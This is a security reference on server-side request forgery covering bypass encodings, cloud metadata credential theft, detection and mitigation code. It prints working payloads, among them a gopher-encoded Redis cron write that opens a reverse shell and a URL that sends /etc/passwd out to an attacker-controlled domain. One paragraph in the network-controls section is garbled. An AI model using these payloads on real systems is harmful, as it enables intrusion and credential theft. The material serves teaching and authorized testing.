
1. VULNERABILITY OVERVIEW
1.1 What is CWE-918?
Server-Side Request Forgery (SSRF) is a critical web security vulnerability where an attacker can induce the server-side application to make HTTP or other protocol requests to an unintended location. The server acts as an unwitting proxy, forwarding requests on behalf of the attacker and potentially exposing internal services, cloud metadata APIs, and file systems that would otherwise be inaccessible from the public internet.
SSRF was elevated to its own dedicated category in the OWASP Top 10 2021 list (A10:2021 — Server-Side Request Forgery), reflecting the explosive growth of this vulnerability class driven by cloud-native architectures, microservices, and serverless deployments.
ROOT CAUSE: The application fetches a remote resource based on a user-supplied URL without sufficient validation of the destination. This allows attackers to pivot from the external-facing application into internal network segments.

2 — TECHNICAL DEEP DIVE
2.1 SSRF Request Flow
Understanding the precise flow of an SSRF attack is essential for both exploitation and detection. The attack follows a well-defined path:
- Attacker crafts a malicious URL pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/)
- Attacker injects this URL into a parameter that the server uses to fetch external content (image URL, webhook endpoint, PDF generator, URL preview, etc.)
- Server receives the request and, without validation, initiates an outbound HTTP request to the attacker-supplied URL
- Internal service responds to the server’s request (appearing as a legitimate internal call)
- Server forwards the response body back to the attacker, either directly in the HTTP response or through an out-of-band channel

2.3 Protocol Exploitation
SSRF is not limited to the HTTP/HTTPS protocol. Attackers exploit various URL schemes depending on the underlying HTTP client library:
- http:// / https:// — Standard web protocol; used for internal web service access and metadata APIs
- file:// — Direct local file system read (e.g., file:///etc/passwd, file:///proc/self/environ)
- gopher:// — Powerful protocol for crafting arbitrary TCP payloads; used to attack Redis, Memcached, SMTP
- dict:// — Dictionary protocol; can retrieve server capabilities and interact with text-based services
- ftp:// — File Transfer Protocol; can be used for port scanning and interaction with FTP servers
- ldap:// / ldaps:// — LDAP protocol access for internal directory services
- sftp:// — Secure FTP; supported by curl and some Java clients
- tftp:// — Trivial FTP; supported by curl for file transfer attacks
- jar:// — Java-specific scheme; can cause connections to arbitrary hosts through JAR file loading
- netdoc:// — Java-specific; supported on older JVM versions
2.4 Payload Encoding & Filter Bypass
Security controls frequently attempt to block SSRF via URL parsing and IP range filtering. Advanced attackers employ a range of encoding and obfuscation techniques to bypass these controls:
IP Address Obfuscation
# Decimal encoding (127.0.0.1 in various forms)
http://2130706433/ # Pure decimal (4-byte integer)
http://0177.0.0.1/ # Octal notation
http://0x7F000001/ # Hexadecimal notation
http://127.1/ # Shortened IPv4
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://0:0:0:0:0:ffff:7f00:0001/ # Full IPv6 form
URL Encoding & Smuggling
# Double/triple URL encoding
http://127%2E0%2E0%2E1/ # URL-encoded dots
http://127%252E0%252E0%252E1/ # Double-encoded
# Mixed case and unicode normalization
http://LocalHost/ # Case variation
http:// 127.0.0.1/ # Unicode whitespace prefix
DNS Rebinding
DNS rebinding attacks exploit the time-of-check/time-of-use gap in SSRF filters. The attacker registers a domain with a very short TTL (1 second) that initially resolves to a public IP (passing validation), then switches the DNS record to an internal IP before the actual request is made. This bypasses allowlist checks that resolve DNS at validation time rather than connection time.
Redirect Chains
# Attacker controls redirect server
# Step 1: Application fetches: http://attacker.com/redirect
# Step 2: Server returns: HTTP 301 -> http://169.254.169.254/latest/meta-data/
# Step 3: HTTP client follows redirect to internal metadata endpoint
# Bypasses filters that only check the initial URL, not redirect destinations
3 — ADVANCED EXPLOITATION TECHNIQUES
3.1 Cloud Metadata API Attacks
Cloud environments expose Instance Metadata Service (IMDS) endpoints that are accessible only from within the instance. These endpoints often contain IAM credentials, initialization scripts, and network configuration — making them prime SSRF targets.
AWS IMDSv1 Exploitation
# Basic metadata enumeration
GET http://169.254.169.254/latest/meta-data/
# IAM credential extraction (HIGH SEVERITY)
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# These credentials can be used directly with AWS CLI or SDK
# User-data (often contains secrets, scripts, passwords)
GET http://169.254.169.254/latest/user-data
AWS IMDSv2 (Token-Required) Bypass
AWS IMDSv2 requires a PUT request with a TTL header to obtain a session token before accessing metadata. Some SSRF vulnerabilities support the necessary HTTP method and headers to complete this flow:
# Step 1: Obtain IMDSv2 token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token to access metadata
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: <token-from-step-1>
GCP & Azure Metadata Endpoints
# Google Cloud Platform
GET http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# Extract service account access token
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure Instance Metadata Service
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# Azure Managed Identity token
GET http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/
3.2 Internal Service Exploitation via Gopher
The Gopher protocol allows an attacker to craft arbitrary TCP payloads, enabling exploitation of internal services that speak text-based protocols. This technique transforms a simple SSRF into a powerful lateral movement primitive.
Redis Remote Code Execution
# Gopher payload to write a cron job via Redis
# (Redis must be running as root or with write access to cron directories)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset
%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash
%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A
%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar
%2Fspool%2Fcron%2F%0D%0A...
Memcached Injection
# Read arbitrary cache keys via gopher
gopher://127.0.0.1:11211/_%67%65%74%20%73%65%63%72%65%74%5F%6B%65%79%0d%0a
SMTP Relay via Gopher
# Send internal email through localhost SMTP
gopher://127.0.0.1:25/_HELO%20attacker.com%0D%0AMAIL%20FROM%3A...
3.3 Blind SSRF with Out-of-Band Exfiltration
When the application does not return any response content, attackers rely on DNS-based exfiltration or HTTP callbacks to an external Burp Collaborator or Interactsh server.
# DNS exfiltration payload — triggers DNS lookup to attacker-controlled domain
# Each subdomain can encode up to 63 chars of exfiltrated data
http://$(cat /etc/passwd | base64 | tr -d '\n' | cut -c1-50).attacker.burpcollaborator.net/
# Using Interactsh for out-of-band detection
http://c59e3crp82b3uxb8c0j0.oast.pro/
# Time-based blind SSRF (measure response time to detect open ports)
# Open port: ~100ms | Closed port: ~2ms | Filtered: timeout >5000ms
3.4 SSRF to SSTI / RCE Chain
SSRF vulnerabilities can be chained with internal services running vulnerable software to achieve full Remote Code Execution. The attack pattern involves using SSRF to reach an internally-exposed service that has a different vulnerability (such as Server-Side Template Injection or an unauthenticated admin panel), then exploiting that secondary vulnerability.
# Chain: SSRF -> Internal Jenkins (unauthenticated) -> Groovy RCE
GET /fetch?url=http://jenkins.internal:8080/script
POST body: script=
def%20cmd%20%3D%20%22id%22.execute()%3B%20cmd.text
# Chain: SSRF -> Internal Elasticsearch -> Data exfiltration
GET /fetch?url=http://elasticsearch.internal:9200/_search?pretty
# Chain: SSRF -> Internal Kubernetes API Server
GET /fetch?url=https://10.96.0.1:443/api/v1/secrets
Header: Authorization: Bearer <stolen-service-account-token>
4 — DETECTION TECHNIQUES
4.1 Static Analysis (SAST) Patterns
The following code patterns are high-confidence SSRF indicators during source code review. Focus on functions that initiate outbound network requests using user-controlled input.
Java — Vulnerable Patterns
// VULNERABLE: User-controlled URL passed directly to URL constructor
String userUrl = request.getParameter("url");
URL url = new URL(userUrl); // No validation
URLConnection conn = url.openConnection();
// VULNERABLE: Apache HttpClient with user input
HttpGet httpGet = new HttpGet(request.getParameter("endpoint"));
CloseableHttpResponse response = client.execute(httpGet);
Python — Vulnerable Patterns
# VULNERABLE: requests library with user input
import requests
url = flask.request.args.get('url')
resp = requests.get(url) # Direct user input
return resp.content
# VULNERABLE: urllib with user input
from urllib.request import urlopen
data = urlopen(request.GET['src'])
Node.js — Vulnerable Patterns
// VULNERABLE: axios/fetch with unvalidated URL
const url = req.query.url;
const response = await axios.get(url); // No allowlist check
res.send(response.data);
4.2 Dynamic Detection (DAST) Strategies
Dynamic testing should systematically probe all URL-accepting parameters. Use the following methodology for comprehensive SSRF coverage:
- Identify all parameters that accept URLs, hostnames, IP addresses, file paths, or resource identifiers
- Test each parameter with an out-of-band callback payload (Burp Collaborator, Interactsh) to detect blind SSRF
- Test HTTP metadata endpoints: 169.254.169.254, metadata.google.internal
- Test localhost variations: localhost, 127.0.0.1, 0.0.0.0, 0, [::1]
- Test internal RFC-1918 ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
- Test alternative URL encodings and obfuscation techniques for each successful finding
- Test non-HTTP URL schemes: file://, gopher://, dict://, ftp://
- Verify redirect-based bypass by hosting a redirect on attacker infrastructure
4.3 Runtime Detection Indicators
The following behavioral signals indicate possible SSRF exploitation in production systems:
- Outbound HTTP requests to 169.254.169.254 from application servers (immediate critical alert)
- Outbound DNS queries for internal service names (jenkins.internal, redis.internal) from web tier
- Unusual outbound connections to RFC-1918 addresses from externally-facing application servers
- HTTP requests with unusual Host headers referencing internal hostnames
- Spike in connection timeouts or refused connections to port ranges (indicative of port scanning)
- Outbound Gopher or FTP protocol connections from web application servers
- Application server making requests to its own IP address or loopback
- Unexpected IAM credential usage from EC2 instance metadata service
5 — DEFENSE & MITIGATION
5.1 Defense-in-Depth Strategy
No single control fully eliminates SSRF risk. Effective defense requires layered controls across the application layer, network layer, and cloud configuration layer.
PRINCIPLE: Validate at the application layer, enforce at the network layer, monitor at the runtime layer. All three controls must be present; any single layer provides insufficient protection.
5.2 Application-Layer Controls
Input Validation — Allowlist Approach (Recommended)
java
// Java — Strict allowlist validation
private static final Set<String> ALLOWED_HOSTS = Set.of(
"api.trustedservice.com",
"cdn.company.com"
);
public void validateUrl(String userUrl) throws SecurityException {
try {
URL url = new URL(userUrl);
// 1. Enforce allowed schemes
if (!url.getProtocol().equals("https")) {
throw new SecurityException("Only HTTPS allowed");
}
// 2. Resolve hostname and check against allowlist
String host = url.getHost().toLowerCase();
if (!ALLOWED_HOSTS.contains(host)) {
throw new SecurityException("Host not in allowlist: " + host);
}
// 3. Validate resolved IP is not private/loopback
InetAddress resolved = InetAddress.getByName(host);
if (resolved.isLoopbackAddress() ||
resolved.isSiteLocalAddress() ||
resolved.isLinkLocalAddress()) {
throw new SecurityException("Resolved to internal IP");
}
} catch (MalformedURLException | UnknownHostException e) {
throw new SecurityException("Invalid URL", e);
}
}
Python — URL Validation with ipaddress module
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_SCHEMES = {'https'}
ALLOWED_HOSTS = {'api.trustedservice.com'}
def validate_ssrf_safe(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Resolve and verify IP is not private
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
return True
5.3 Network-Layer Controls
Application-layer validation can be bypassed through DNS rebinding oBlind SSRF via DNS
https://portswigger.net/research/server-side-template-injectionr parser differentials. Network controls provide an independent, enforcement-layer defense:
- Egress firewall: Block all outbound connections from web application servers except explicitly required destinations
- Block IMDS access: If your application does not need cloud metadata, block 169.254.169.254/32 at the VPC/host firewall level
- Enable IMDSv2: Require token-based metadata access (AWS IMDSv2) which requires PUT requests that are harder to exploit via SSRF
- Separate network segments: Place web application servers in a DMZ with no direct routing to internal service networks
- DNS filtering: Use split-horizon DNS to prevent internal hostname resolution from the web tier
- Proxy egress: Route all outbound web requests through an authenticating proxy with URL filtering

8 — SECURITY TESTING CHECKLIST
Use the following checklist for systematic SSRF assessment during penetration tests and bug bounty engagements:
Reconnaissance — Identify Injection Points
- Map all parameters that accept URLs, hostnames, IPs, or file paths
- Inspect request bodies (JSON, XML, form data) for URL-like fields
- Review API documentation for any endpoint that fetches external resources
- Check for webhooks, integrations, and URL preview functionality
- Look for import-from-URL, PDF generation, and image upload-from-URL features
Basic SSRF Verification
- Send OOB callback (Burp Collaborator / Interactsh) in all URL parameters
- Test localhost, 127.0.0.1, 0.0.0.0, [::1] as URL hosts
- Test http://169.254.169.254/latest/meta-data/ for AWS IMDS
- Test http://metadata.google.internal/ for GCP
- Verify if redirects are followed to internal destinations
Advanced Bypass Testing
- Test decimal, octal, hex, and shortened IP representations
- Test URL-encoded and double-encoded payloads
- Test Unicode normalization bypass variants
- Set up DNS rebinding infrastructure and test timing window
- Test alternative schemes: file://, gopher://, dict://
- Test HTTP redirect on attacker-controlled server to IMDS
Impact Escalation
- If IMDS reachable, extract IAM credentials and validate with AWS STS GetCallerIdentity
- Enumerate internal ports via timing/error analysis
- Test Gopher payloads against identified internal services
- Assess lateral movement possibilities with any exfiltrated credentials
- Document full credential exfiltration chain for report
9 — REFERENCES & FURTHER READING
ResourceReferenceMITRE CWE-918
CWE - CWE-918: Server-Side Request Forgery (SSRF) (4.20)
OWASP SSRF Guide
A10 Server Side Request Forgery (SSRF) - OWASP Top 10:2021
PortSwigger SSRF Labs
Server-side request forgery (SSRF)
HackTricks SSRF
GCP Metadata Security
About VM metadata | Compute Engine | Google Cloud Documentation
Gopher SSRF Techniques
PayloadsAllTheThings SSRF
PayloadsAllTheThings/Server Side Request Forgery at master · swisskyrepo/PayloadsAllTheThings
This document is intended for authorized security professionals only. All techniques described are for defensive research and authorized testing purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal.